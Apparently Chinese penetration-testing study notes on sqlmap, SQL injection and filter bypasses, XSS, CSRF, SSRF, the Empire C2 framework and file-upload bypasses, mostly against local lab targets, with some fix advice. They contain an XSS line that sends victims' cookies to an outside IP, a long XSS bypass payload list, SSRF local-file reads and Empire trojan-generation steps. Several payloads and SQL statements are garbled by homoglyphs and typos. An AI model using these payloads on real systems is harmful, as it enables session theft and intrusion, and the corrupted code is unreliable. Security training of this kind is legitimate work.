(1) 安装sqlmap前,需要先安装Python3.X
Python Releases for Windows | Python.org
(2) 在环境变量path中,增加python3.x 安装路径
(3) 下载sqlmap并解压缩:
地址:sqlmap: automatic SQL injection and database takeover tool
Python sqlmap.py -uhttp://xxx.xxx.xxx/
Python sqlmap.py –help 查看帮助 borp
sqlmap支持五种不同的注入模式:
- UNION query SQL injection(可联合查询注入)
- uError-based SQL injection(注入报错型)
- uBoolean-based blind SQL injection(布尔型注入)
- uTime-based blind SQL injection(基于时间延迟注入)
- uStacked queries SQL injection(可注入多语句查询)
2.sqlmap 常用命令参数
-u /--url 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”
-m 从文本中获得多个目标扫描,但每个目标都是一个接一个的url. sqlmap -m urllist.txt
-r 加载文件HTTP请求,这样就不需要设置了cookie,POST数据….
--dbs 返回当前连接的数据库
--current-db 返回当前网站数据库的数据库用户
-D 指定数据库系统的数据库名称
--tables 列出数据库表
-T 指定数据库表名
--columns 列出数据库表中的字段
-C 指定数据库表中的字段名
--dump 获取整个表的数据
3.设置回显等级
参数: -v默认为1
0 只显示python错误和严重信息
1 基本信息和警告信息
2 debug信息
3 注入的payload
(级别越高,显示的信息越多。
4同时显示HTTP请求。
5同时显示HTTP响应头。
6同事显示HTTP响应页面。
--data 把数以post方式提交,sqlmap会像检测GET同样检测参数POST过去的参数。
--cookie (用于区分用户)
可能会有漏洞,当web登录时,抓取数据包。
4.设置HTTP数据包相关参数
HTTP User-Agent 头
参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。
sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
sqlmap 检查uesr-agent中注入点, level>=3才会去检查user-agent头部是否有漏洞
5.设置探测等级:--level
有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到
--users 对用户进行数据库管理
--current-user 目前连接到数据库的用户
--is-dba 判断当前是否为管理,是的,返回true
--proxy 指定代理服务器 eg: -proxyhttp://xxxxxx.8080
--os-shell 前提:需要网站的物理路径,其次是需要FIILE权限
6.
http://localhost/sqlilabs/Less-1/?id=1(目标链接)
http://localhost/sqlilabs/Less-1/?id=1(目标链接)

http://localhost/sqlilabs/Less-1/?id=1(目标链接)
http://localhost/sqlilabs/Less-1/?id=1(目标链接)
http://localhost/sqlilabs/Less-1/?id=1(目标链接)
http://localhost/sqlilabs/Less-1/?id=1(目标链接)
http://localhost/sqlilabs/Less-1/?id=1(目标链接)
<>
mysql知识点- 基本查询语句
- 查询表中全部信息: select *from 表明-关键的函数
select+以下语句
version() 数据库版本
database() 数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
-order by(排序) 语法
-联合查询
order by 1—
order by 2—确定字段数
使用UNION操作符注入另外一个select查询,并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据
注意: 相同的列结构
需要有知道表结构,列结构
exists()函数猜解表明
information_schema 是一个mysql系统自带的元数据库
information_schema.SCHEMATA 查看所有的数据库
五、 XSS基础
1、什么是XSS?
中文名为跨站脚本攻击,跨站脚本,(Cross-Site Scripting, XSS),当目标网站用户在渲染HTML文档的过程中,出现非预期的脚本指令并执行时,XSS就发生了。
2、攻击者给予应用恶意XSS代码,导致用户访问应用或服务器时执行代码,导致被XSS攻击。
攻击者→服务器→用户(xss是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载)
3、XSS的危害: 1.网络钓鱼,包括盗取各类用户的账号
2.窃取用户cookies资料,从而获取用户信息。
3.获取客户端信息,IP/端口等
4.劫持用户浏览器会话,从而执行任意操作
5.强制弹出窗口。
6.网页挂马,进行恶意操作
7.进行大量的客户端攻击 如DDoS攻击
8.控制受害者机器向其他客户端攻击
4、XSS分类
①反射型 :非持久型,调取用户cookie或者进行钓鱼,常常为通过引诱用户点击一个恶意链接来实施攻击。
(
① 主要用于将恶意脚本附加到URL地址的参数中
② 只在用户单击url时触发,而且只执行一次,非持久化
③常用来窃取客户端 Cookies
或进行钓鱼欺骗.
④常常为通过引诱用户点击一
个恶意链接来实施攻击的)
name为可控参数
我们可以通过执行恶意代码弹窗,那么也能做些对我们有利的事情。
当我们构造好了如下恶意代码,发送给受害者。
<script>alert(document.cookie)</script>
将会弹出用户的cookie值,我们构造js代码,将该cookie值发送至我们自己的服务器,或者用XSS平台接收该cookie(例如https://xsshs.cn/),我们就能通过该cookie非法登录受害者的账户。
②存储型 :渗透 挂马 蠕虫病毒 出现在网站的留言、评论、日志等交互处,被存储在数据库或者客户端中,等再次浏览时受到攻击。
(:① 恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性
② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全.
③ 一般出现在网站的留言、评论、日志等交互处,)
POST提交数据,生成、读取文本模拟数据库,
提交数据之后页面会将数据写入sql.txt,
再打开页面时会读取sql.txt中内容并显示在网页上,
实现了存储型xss攻击模拟。
当输入恶意代码,即会执行<script>alert('xss')</script>
并且恶意代码会一直存储在服务器,每当有用户访问该页面,即会触发恶意代码
<script>alert('hacked by cl4y')</script>
<meta http-equiv= 'refresh' content= '0' > http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv= 'refresh' content= '0' >
<script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>
<script>window.location.href="http://www.cl4y.top";</script>
③dom型: 将XSS代码嵌入dom文档(每一个网页),通过JS脚本对文档对象进行编辑从而修改页面元素,增加漏洞。
1.获取COOKIE(这是必须的最基本的功能)
2.获取源码(取当前网页的源码)
3.截图(可自己修改为连续截图)
4.……………
https://xss.pt
https://xssaq.com
- XSS利用——无任何过滤
- <scirpt> <scirpt>alert(1);</script>
- <img> <img src=1 οnerrοr=alert("xss");> //onerror等事件,可以调用js
- <input> <input οnfοcus="alert('xss');" autofocus>
- <svg> <svg οnlοad=alert("xss");>
- <iframe> <iframe οnlοad=alert("xss");></iframe> <iframe src=javascript:alert('xss');></iframe> //src中支持伪协议
- <textarea> <textarea οnfοcus=alert("xss"); autofocus>
- 往往用户可控的参数都进行了过滤,不会让你用一个<script>标签就轻易攻击成功
<script>shellcode</script>
XXS绕过:
- 关键字绕过
- 空格绕过
- 用/代替空格 <img/src="x"/οnerrοr=alert("xss");>
- 关键字绕过
- 大小写绕过 <ImG sRc=x onerRor=alert("xss");>
- 利用其他标签
- 双写关键字 <imimgg srsrcc=x οnerrοr=alert("xss");>
- 字符拼接 <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> <script>top["al"+"ert"](`xss`);</script>
- 利用函数进行编码绕过
- Unicode绕过 <img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函数进行编码绕过
- ASCII码 <img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
- Hex绕过 <img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
- Base64编码 <img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
- 空格绕过
- 过滤括号
- 当括号被过滤的时候可以使用throw来绕过 <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //异常处理
- 反引号 <img src=x οnerrοr=alert`1`>
- 过滤双引号,单引号
- 反引号 <img src=1 οnerrοr=alert`1`;>
- js事件
- 当某个位置的可控点在一个标签内,那么或许可以通过js事件来完成xss操作
- <img src=1 οnerrοr=alert`1`;>
- 混淆: 利用html标签格式的不严格、容错性。
- 关键字中加空格
- 加TAB
- 回车
url编码 <img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
六.Cref漏洞
1,漏洞介绍: 一种对网站的恶意使用。与 xss相比不大流行(因此对其防范相当稀少,比xss更加具有危险性。
原理:利用目标用户身份,以目标用户名义执行非法操作(以目标用户名义发邮件,消息,盗取目标账号,购买商品,虚拟货币转账等),会泄露目标用户的财产安全。
Ps:(CSRF漏洞经常用来制作蠕虫攻击,刷SEO流量)
靶场实战:漏洞分析:
:
Ssrf漏洞:是一种由攻击者构造请求,由服务器发起请求的安全漏洞。与csrf最大的区别是一个是服务器,一个是由客户端发起的。
在域名后增加url=语句,从而利用ssrf漏洞篡改脚本访问的地址。
攻击方式如下:
A,对外网,服务器所在的内网,本地进行端口扫描,获取的banner信息。
B,攻击运行在内网或本地的应用程序。
C,对内网web应用进行指纹识别,识别企业内部的资产信息。
D.攻击内外网的web应用,主要是用HTTP请求就可以实现的攻击(比如struts2,sqli
等等)
E,利用file协议读取本地文件。
SSRF漏洞利用:
测试地址:http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php
页面ssrf.php实现的功能获取GET参数URL,然后将url的内容返回网页上。
如果将请求的网址篡改为http://www.baidu.com,则会显示http://www.baidu.com的网页内容,但是,当设置参数URL为内网地址时,则会泄露内网信息。
访问ssrf.php?Url=file://C:/wwindows/win.ini即可读取本地文件。
Ssrf漏洞修复建议:
- ,限制请求的端口只能为web端口,只允许访问HTTP和HTTPS的请求。
- 限制不能访问的内网ip,以防止对内网进行攻击。
- 屏蔽返回的详细信息。
七,Empire
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。
Empire运行在linux平台上
官方下载地址,不过很久没有更新,需要Python 2.6/2.7环境
https://github.com/EmpireProject/Empire
KALI示例:
git clone https://github.com/EmpireProject/Empire.git
然后安装Empire的依赖,命令如下
cd Empire
cd setup
pip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)
./install.sh
在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:
cd ..
./empire
若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。
启动时如果遇到如下报错
可以将urllib3版本降级
pip install urllib3==1.22
重新设定
bash reset.sh
1.帮助文档
2.设置监听
3.生成木马
4.连接主机和基本使用
5.信息收集
6.权限提升
运行Empire后,输入help命令查看具体的使用帮助。
设置监听步骤如下:
listeners #进入监听线程界面
uselistener #设置监听模式
info #查看具体参数设置
set #设置相应参数
execute #开始监听
输入Listeners命令进入监听界面,按TAB键可以补全命令,按两次TAB键或者help可以显示可以利用的模块
输入uselistener来设置采用何种监听模式,双击TAB可以看到有以下可以使用的模式。
这里采用http监听模式,输入uselistener http。
然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。
通过set配置参数,并提供execeute执行,需要注意的是Empire不同于Metasploit,Empire命令是区分大小写的
通过back返回上一级,使用listeners或者list可以查看所设置的监听器
输入usestager后 空格加TAB键 查看可以设置的木马模式
木马就类似Metasploit中的payload,其中multi为通用模块,osx是Mac操作系统的模块,剩下的是Windows的模块。
我们以 windows/launcher_bat为例,给大家说下过程,其他的使用都类似
要使用launcher_bat,首先输入usestager windows/launcher_bat,然后输入info命令查看详细参数
通过set配置参数,我们需要设置一个 Listener 参数,即监听的名字(前面我们给监听起得一个名字test1),通过execeute执行,
文件会生成到 tmp 目录下,如下所示在目标主机上运行生成的launcher.bat,输入 agents 可以查看已经获得的会话
第四章
4.2 SQL注入进阶 4.2.1 时间注入攻击 时间注入攻击的测试地址:
http://127.0.0.1/sql/time/time.php?id-1.
访问该网址时,页面返回yes,在网址的后面加上一个单引号,再次访问,页面返回no。这个结果与Boolean注入非常相似,时间盲注,它与Boolean注入的不同之处在于,时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用,此if语句含义是:如果expr1是TRUE,则IFO的返回值为expr2:否则返回值则为expr3。所以判断数据库库名长度的语句应为:
if (length(database())>1,sleep(5),1)
4.2.2 堆叠查询注入攻击 堆叠查询注入攻击的测试地址:http://127.0.0.1/dd.php?id=1.
堆叠查询可以执行多条语句,多语句之间以分号隔开。堆叠查询注入利用这个特点,在第二个SQL语句中构造自己要执行的语句。首先访问id-1‘,页面返回 MySQL错误,再访问id-1%23,页面返回正常结果。这里可以使用Boolean注入、时间注入,也可以使用另外一种注入方式--堆叠注入。
堆叠注入的语句为:
select if(substr(user(),1,1)='r',sleep(3),1)%23
从堆叠注入语句中可以看到,第二条SQL语句(select if(substr(user0.1,1) ,deepO3).19%23)就是时间盲注的语句。
获取数据库表名:
';select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23
4.2.3 二次注入攻击 二次注入攻击的测试地址:
http://127.0.0.1/er/1.php?username=test 和 http://127.0.0.1/er/2.php?id=10。
其中,1php页面的功能是注册用户名,也是插入SQL语句的地方;
2.php页面的功能是通过参数ID读取用户名和用户信息。
第一步,访问1.php?uscrmame=test.
从页面返回结果可以看到用户名test‘对应的ID为21,访问2.php?id=21。
从返回结果可以看到服务端返回了MySQL的错误(多了一个单引号引起的语法错误),这时回到第一步,先访问1php?usemame=test'order by1%23,获取一个新的 id=32,当再次访问2.php?id-32时,页面返回空白;再次尝试,访问1.php?username=test‘order by 10%23,获取一个新的id-33,当再访问2php?id=33时,页面返回错误信息(Unknown column '10"in 'order clause'),这说明空白页而就是正常返回,通过不断尝试,判断字段数,访问1.php?username=test' union select 1,2,3%23,获取一个新id=39,再访问2.php?id=39,发现页面返回了 union select中的2和3字段。在2、2字段中间,插入语句就可获得数据库中的数据。
4 宽字节注入攻击 宽字节注入攻bbbbbbbbbbbbb试地址:http://127.0.0.1/kzj.php?id=1.
尝试在页面2的位置查询当前数据库的库名(database()),语句为:
1d=-1%df’ union select 1,user(),3,%23
查询数据库的表名时,用以下语句:
select table_name from information_schema.tables where table_schema='sq1’ limit 0,1
但此时,由于单引号被转义,会自动多出反斜杠,导致SQL语句出错,所以此处需要利用另一种方法:嵌套查询,就是在一个查询语句中,再添加一个查询语句,下列就是更改后的查询数据库表名的语句:
select table_name from information_schema.tables where table_schema=(select databse()) limit 0,1
可以看到,原本的table_schema-'sql"变成了table_schema=(select databasc()),因为 select database()的结果就是'sql’,这就是嵌套查询。
如果想查询后面的表名,还需修改limit后的数字,可用以下语句尝试查询emails表里的字段:
select column_name from information_schema.columns where table_schema=(select database()) and table_name=( select table_name from information_schema.tables where table_schema=(select databse()) limit 0,1) limit 0,1
这里使用了三层嵌套,第一层是table_schema,它代表库名的嵌套,第二层和第三层是table_name的嵌套。我们可以看到语句中有两个limit,前一个limit控制表名的顺序,后一个则控制字段名的顺序。如这里查询的不是emails表,而是users表,则需要更改limit的值。后面的操作如Union注入所示。
4.2.5 cookie注入攻击 Cookie注入攻击测试地址:http://127.0.0.1/cookie.php.
发现URL中没有GET参数,但是页面返回正常,使用Burp Suite抓取数据包,现cookie中存在id=1的参数。修改cookie中的id=1为id=l',然后再次访问该URL,发现页面返回错误。接下来,分别修改cookie中id=1为id=l and 1=1和id =l and 1=2,再次访问,判断该页面是否存在SQL注入漏洞,返回结果如图4-57和图4-58所示,得出cookie中的参数ID存在SQL注入的结论。接着使用order by查询字段,使用Union注入方法完成此次注入。
4.2.6 base64注入攻击 测试地址:http://127.0.0.1/sql/base64/base64.php?id=MQ %3d %3d.
从URL中可以看出,ID参数经过base64编码(%3d是=的URL编码格式),解码后发现ID为1,尝试加上一个单引号并一起转成base64编码。
当访问id=1'编码后的网址时(http://127.0.0.1/sql/base64/base64.php?id=MSc%3d),页面返回错误。1and 1=1和1 and 1=2的base64编码分别为MSBhbmQgMT0x和MSBhbm QgMTOy,再次访问id=MSBhbmQgMT0x和id=MSBhbmQgMTOy。从返回结果可知,访问id=1 and id 1=1时,页面返回与id=1相同的结果,而访问id=1 and 1=2时,页面返回与id=1不同的结果,所以该网页存在SQL漏洞。
接着,使用order by查询字段,使用Union方法完成此次注入。
4.2.7 XFF注入攻击 xFF注入攻击的测试地址:http://127.0.0.1/sql/xff.php.
通过Burp Suite抓取数据包容,可以看到HTTP请求头中有一个头部参数 X-Forwarded-for。X-Forwarded-For简称XFF头,它代表客户端真实的IP,通过修 X-Forwarded-for的值可以伪造客户端IP、将X-Forwarded-for设置为127.0.0.1、然后请问该URL、页面返回正常,将X-Forwarded-for设置为127.0.0.1、再次访问该URL,页面返回MySQL的报销信息,将X-Forwarded-for分别设置为127.0.0.1‘and 1=1#和127.0.0.1‘and 1=2#,再次访问该URL。通过页面的返回结果,可以判断出该地址存在SQL注入漏洞,可用order by判断表中的字段数量,尝试使用Union查询注入方法,语法为:X-Forwarded-for:127.0.0.1’ union select 1,2,3,4#。接着使用Union注入方法完成此次注入。
4.3 SQL注入绕过技术 4.3.1 大小写绕过注入 大小写绕过注入的测试地址:http://127.0.0.1/sql/1.php?id=1.
访问id-1发现页面报出MySQL错误,当访问id=1 and 1=1时,页面返回”no hack”,显然是被拦截了,说明有关键词被过滤。使用关键字大小写的方式尝试绕过,使用order by查询字段数量,发现还是被拦截了,还是利用修改关键字大小写来绕过它,尝试只改order这个单词,结果发现当order改成Order后,页面显示正常,说明by并没有被拦截,最终通过尝试,发现数据库表中存在3个字段。接着,使用Union方法完成此次注入,若仍遇到关键字被拦截,可尝试修改大小写的方式绕过拦截。
4.3.2 双写绕过注入 双写绕过注入的测试地址:http://127.0.0.1/sql/2.php?id=1。
访问id=1’,发现页面报出MySQL错误,接着访问id=1 and 1=1,页面依然报出 MySQL的错误,但是从错误信息中可以看出,输入的and 1=1变成了1=1,因此可以得知,关键字and被过滤了。这时尝试使用双写的方式绕过,如anandd 1=1,当and被过滤后,anandd变成了and,所以这时传入数据库的语句是and 1=1,之后结果成功执行并返回正常页面。接着,输入aandnd1=2,返回错误信息,判断页面参数存在SOL注入漏洞。当访问id=1 order by 3时,MySQL的错误信息为“der by3”,所以这里并没有过滤order整个单词,而是仅过滤or,因此只需要双写or即可。
4.3.3编码绕过注入 编码绕过注入的测试地址:http://127.0.0.1/sql/3.php?id=1.
访问id=1',发现页面报出MySQL错误,接着访问id=1 and 1=1和id-1 and 1=2时,发现关键字and被拦截。尝试使用URL全编码的方式绕过拦截。由于服务器会自动对 URL进行一次URL解码,所以需要把关键词编码两次,注意,URI编码需选择全编码,关键字and进行两次URI全编码的结果是%25%36%31%25%36%65%25%36%34,访问 id-1%25%36%31%25%36%65%25%36%34 1=1时,页面返回与id=1相同的结果,访问 id-1 %25%36%31%25%36%65%25%36%34 1=2时,页面返回与id=1不同的结果,所以该网址存在SQL注入漏洞。后面的注入过程与Union注入的一致,判断过滤的关键词,并经过两次URL全编码即可。
4.3.4内联注释绕过注入 内联注释绕过注入的测试地址:http://127.0.0.1/sql/4.php?id=1。
访问id-1',发现页面报出MySQL错误,接着访问id=1 and 1=1和id=1 and 1=2时,发现页面提示“no hack”,即关键字被拦截。尝试使用内联注释绕过。访问id=1/*!and*/1=1时,页面返回与id=1相同的结果;访问id=1/*!and*/1=2时,页面返回与id-1不同的结果,后面的注入过程与Union注入的一致。
4.3.5 SQL注入修复建议 常用的SQL注入漏洞的修复方法有两种
1.过滤危险字符
多数CMS都采用过滤危险字符的方式,如果匹配到,则退出程序。使用过滤的方式,在一定程度上可以防止SQL注入漏洞,但仍然存在被绕过的可能。
2.使用预编译语句
使用PDO预编译语句,需注意,不要将变量直接拼接到PDO语句中,而要使用占位符进行数据库的增加、删除、修改、查询。
4.4 XSS基础 4.4.1 XSS漏洞介绍 跨站脚本(简称XSS)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。
XSS攻击可分为三种:反射型、存储型和DOM型。
4.4.2 XSS漏洞原理 1、反射型XSS
反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
2.存储型XSS
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
例如,恶意攻击者在留言板中加入以下代码:<script>alert(/hacker by hacker/)</script>.
当其他用户访问留言板时,就会看到一个弹窗。可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型XSS攻击将没有多大作为,而存链型XSS则不同,由于它注入在一些我们信任的页面,因此无论我们多么小心,都难免会受到攻击。
3.DOM型XSS
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
HTML的标签都是节点,而这些节点组成了DOM的整体结构—节点树。通过 HTML DOM,树中的所有节点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。
在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从面修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。
攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在漏洞。
4.4.3 反射型XSS攻击 页面http://192.168.1.101/xss/xss1.php实现的功能是在“输入”表单中输入内容,单击“提交”后,将输入内容放到“输出”表单中,当访问页面时,看到输入的双引号闭合了value属性的双引号,输入的>闭合了input标签的<,导致输入的<img src=1 οnerrοr= alert(/xss/)/>变成了HTML标签。接下来,在浏览器渲染时,执行了<img src=1 οnerrοr= alert(/xss/)/>,JS函数alert()导致浏览器弹框,显示“/xss/”。
4.4.4存储型XSS攻击 存储型XSS页面实现的功能是:获取用户输入的留言信息、标题和内容,然后将标题和内容插入到数据库中,并将数据库的留言信息输出到页面上。
4.4.5 DOM型XSS攻击
DOM型XSS攻击页面实现的功能是在“输入”框中输入信息,单击“替换”按纽时、页面会将这里会显示输入的内容”替换为输入的信息、例如当输入“11”的时候,页面将“这里会显示输入的内容”替换为“11”。
当输入< img src=1 οnerrοr=alert(/xsss/)>时,单击“替换”按钮,页面弹出消息框。从HTML源码中可看到,存在JS函数tihuan(),该函数的作用是通过DOM操作将元素id1(输出位置)的内容修改为元素dom_input(输入位置)的内容。
4.5 XSS进阶 4.5.1 XSS常用语句及编码绕过 XSS常用的测试语句有:
<script>alert(1)</scripd
<ing src-x onerror-alert(1)><svg onload-alert(1)>
<a href-javascriptalert(1)>
常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码
1.JS 编码
JS提供了四种字符编码的策略,如下所示:
三个八进制数字,如果个数不够,在前面补0,例如“e”的编码为“\145”。 两个十六进制数字,如果个数不够,在前面补0.例如”e”的编码为“x65”。 四个十六进制数字,如果个数不够。在前面补0.例如””e”的编码为u0065”。 对于一些控制字符,使用特殊的C类型的转义风格(例如n和r)。 2.HTML实体编码
实体命名:以&开头,以分号结尾。
字符编码:十进制、十六进制ASCLL码或Unicode字符编码,样式为“&#数值;”。
3.URL编码
这里的URL编码,也是两次URL全编码的结果。结果为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34.
在使用XSS编码测试时,需要考虑HTML渲染的顺序。
4.5.2 使用XSS平台测试XSS漏洞 首先在XSS平台注册账号并登录,单机“我的项目”中的“创建”按钮,勾选“默认模块”后,单击下一步,根据HTML源码选择合适的利用代码,以此构建浏览器能够执行的代码,将利用代码插入到存在XSS漏洞的URL后,查看源代码。
4.5.3 XSS漏洞修复建议 因为XSS漏洞涉及输入和输出两部分,所以其修复也分为两种。
(1)过滤输入的数据,包括“,”“””“<”“>”“on*”等非法字符。
(2)对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等。
4.6 CSRF漏洞 4.6.1 介绍CSRF漏洞 CSRF(跨站请求伪造)是一种对网站的恶意利用。与XSS相比,CSRF攻击往往不大流行,但也更难防范,所以相较于更具危险性。
4.6.2 CSRF漏洞的原理 CSRF:攻击者利用目标用户的身份,以用户的名义执行某些非法操作。
它能做的事包括:一目标用户的身份发送邮件、发消息,盗取目标用户的账号,甚至购买商品、虚拟货币转账,所以会泄露个人隐私并威胁到了目标用户的财产安全。
CSRF的攻击过程有两个重点:
目标用户已经登陆了网站,能够执行网站的功能。 目标用户访问了攻击者构造的URL。 4.6.3 利用CSRF漏洞 CSRF漏洞经常内用来制作蠕虫攻击、刷SEO流量等。
4.6.4 分析CSRF漏洞代码 下面的代码是后台添加用户的代码,执行流程如下:
(1)获取GET参数username和参数password,然后通过select语句查询是否存在对应的用户,若用户存在,会通过$_SESSION设置一个session:isadmin=admin,否则设置session: isadmin=guest。
(2)接下来判断session中的isadmin是否为admin,如果isadmin!=admin,说明用户没有登录,那么跳转到登录页面。所以只有在管理员登录后才能执行添加用户的操作。
(3)获取POST参数username和参数password,然后插入users表中,完成添加用户的操作。
当管理员访问了攻击者构造的CSRF页面后,会自动创建一个账号。
4.7 SSRF漏洞 4.7.1 介绍SSRF漏洞 SSRF(服务器端请求伪造)是一种由攻击者构造请求,由服务器端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统。
4.7.2 SSRF漏洞原理 SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过过滤与限制。
主要攻击方式如下:
对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。 攻击运行在内网或本地的应用程序。 对内网Web应用进行指纹识别,识别企业内部的资产信息。 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击。 利用file协议读取本地文件等。 4.7.3 SSRF漏洞利用 SSRF漏洞利用的测试地址:
http://127.0.0.1/ssrf.php?url-http://127.0.0.1/2.php.
页面ssrf.php实现的功能是获取GET参数URL,然后将URL的内容返回网页上。如果将请求的网址算改为http://wwwbaidu.com,则页面会显示http://www.baidu.com的网页内容.但是,当设置参数URL为内网地址时,则会泄露内网信息。
4.7.4 SSRF漏洞修复建议 针对SSRF漏洞的修复:
限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。 限制不能访问内网的IP,以防止对内网进行攻击。 屏蔽返回的详细信息。 4.8 文件上传 4.8.1 有关文件上传的知识 1、 为什么文件上传存在漏洞
上传文件时,如果服务端代码未对客户端上传的文件进行严格的验证和过滤。就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。
2、危害
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门, WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。
4.8.2 JS检测绕过攻击 JS检测绕过上传漏洞常见于用户选择文件上传的场景,如果上传文件的后缀不被允许,则会弹框告知,此时上传文件的数据包并没有发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测。
这时有两种方法可以绕过客户端JavaScript的检测:
使用浏览器的插件,删除检测文件后缀的JS代码,然后上传文件即可绕过。 首先把需要上传文件的后缀改成允许上传的,如jpg、png等,绕过JS的检测,在抓包,把后缀名改成可执行文件的后缀即可上传成功。 4.8.3 文件后绕过攻击 文件后缀绕过攻击是服务端代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其他文件后缀的,若配置有以下代码,则可解析php和phtml文件:
AddType application/x-httpd-php.php.phtml
所以,可以上传一个后缀为phtml的WebShell。
4.8.4 文件类型绕过攻击 在客户端上传文件时,通过Burp Suite抓取数据包,当上传一个php格式的文件时,可以看到数据包中Content-Type的值与上传jpg格式的文件时,数据包中的Content-Type不同,如果服务端代码是通过Content-Type的值来判断文件类型,那么就存在被绕过的可能,因为Content-Type的值是通过客户机传递的,可以任意修改。
4.8.5 文件截断绕过文件 截断类型:PHP%00截断。
截断原理:由于00代表结束符,所以会把00后面的所有字符删除。
截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态。
4.9命令执行 1.介绍 暴力破解的产生是由于服务器没有做限制,导致攻击者可以通过暴力的手段破解所需信息,如用户名、密码、验证码等。暴力破解需要一个庞大的字典,如4位数字的验证码,那么暴力破解的范围就是0000~9999,暴力破解的关键在于字典的大小
